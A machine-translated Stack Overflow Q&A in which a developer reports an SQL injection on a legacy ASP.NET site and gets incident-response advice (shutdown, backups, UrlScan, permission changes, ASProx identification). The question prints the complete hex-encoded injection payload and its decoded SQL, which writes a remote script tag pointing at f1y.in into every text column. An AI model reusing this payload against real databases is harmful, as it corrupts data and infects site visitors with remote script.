emp*_*mpz 27 security hacking sql asp.net
可能重复:
我的服务器被黑了 紧急情况
天哪,我绝望了!几个小时前,我们的生产数据库被 sql 注入。
我知道我们的系统有一些大漏洞……因为我们从一个用经典 ASP 做网站的人那里继承了这个网站,他的编程真的很糟糕而且不安全。所以我们花了一些时间将它迁移到 ASP.NET(首先是 1.1,然后是 2.0,现在是 3.5)。但这是一个大项目,仍然有旧的和不安全的代码。我不会撒谎,项目一团糟,我讨厌它,但它是我们最重要的客户(我们只是两个年轻人,不是大公司)。
所以我知道他们以某种方式向我的整个数据库注入了一些 js 脚本引用......这可能是通过一个旧页面使用连接字符串 sql 查询并直接扔到数据库中(因为启动项目的那个人说“存储过程没有't work"..... 所以他使用字符串连接完成了整个站点,并将它们直接扔给 sql 而不做任何安全验证或任何事情。
当我们拿到项目时,客户不想花时间重做老家伙所做的废话。所以我们不得不导致糟糕和不安全的代码并在开发新功能时修复它,因为这是客户想要的......现在我们已经被注入了 sql 他们当然会发疯。
所以....
**有没有办法检查过去 X 小时内执行过的旧 sql 查询?类似于 SQL Profiler 的工作方式(当然,当攻击发生时,我们没有打开 Profiler)?有没有办法找出哪个页面是易受攻击的页面?请帮助,有很多页面。我无法在不知道哪一页是页面的情况下手动搜索这些内容。
另外......他们是否可以通过另一种方式注入数据库?喜欢使用 IIS 请求或 js 之类的吗?**
我拥有对服务器计算机的完全远程桌面访问权限(它不在托管环境中),因此我可以访问服务器上的每个文件、日志和任何内容...
请帮忙!
PS:对不起,我的英语不是很好,现在更紧张了!
编辑
他们抛出的脚本如下
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
Run Code Online (Sandbox Code Playgroud)
翻译成文字是:
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Run Code Online (Sandbox Code Playgroud)
小智 25
首先要做的不是恐慌。但我看到你已经跳过了,并决定
第二件事是关闭该站点并确保它不能从外部访问,直到您弄清楚发生了什么问题。开始查看访问日志并尝试找出主要问题。
要做的第三件事是查看您是否定期备份数据库并回滚。您可能会丢失一些数据 - 但您会处于比现在更好的位置
第四件事是 - 不要 - 给出网址,因为它显然是不安全的
Wya*_*ett 16
一定要确保安装最新版本的 UrlScan——它几乎是为了阻止这种攻击而设计的。
如果您有 IIS 日志,入口点应该很明显——寻找黑客正在攻击的那个。
如果可能的话,另一个好的支持是拒绝对 Web 用户帐户的 INSERT 和 UPDATE 权限,并改为通过存储过程进行处理。当这是一次零日攻击时,这种支持使我们免于遇到类似遗留应用程序的类似问题。
我认为您还可以删除 PUBLIC 用户扫描表的权利,这应该可以防止他们进行“foreach table”风格的攻击。
Dil*_*e-O 10
作为参考,这是 ASProx bot SQL 注入攻击的工作。它似乎时不时地自己浮出水面,因为当发现受感染的系统时,它会变得非常流行。你可以在谷歌上搜索“ASProx bot”并获得一些额外的清洁方法和进一步的预防治疗。我刚刚找到了这个 PDF文件,它很好地概述了它的策略和一些清理选项的链接。
问题在于,病毒/注入模型本质上获取了所有数据库表中的每个文本字段,并放入了一个小片段,调用指定的 URL 以尝试感染任何其他 Web 客户端并试图使它们成为访问您站点的僵尸.
因此,请确保检查该服务器上的所有数据库,而不仅仅是涉及进行适当清理的数据库的数据库。
看起来您在这里的建议是正确的,但是对病毒名称进行一些“正式”引用可能有助于满足其他需求。
首先,您必须关闭该站点,以防止进一步的注入攻击。
其次,您需要进行安全审核,以确定您拥有哪些日志记录以及系统上的安全措施,并确定攻击者是如何进入的。
第三,您至少需要为那些受到威胁的区域设置日志记录和安全性。建立一个系统来检测入侵并立即通知您(例如寻呼机)。
第四,告知管理层停机时间是他们忽视安全性的结果。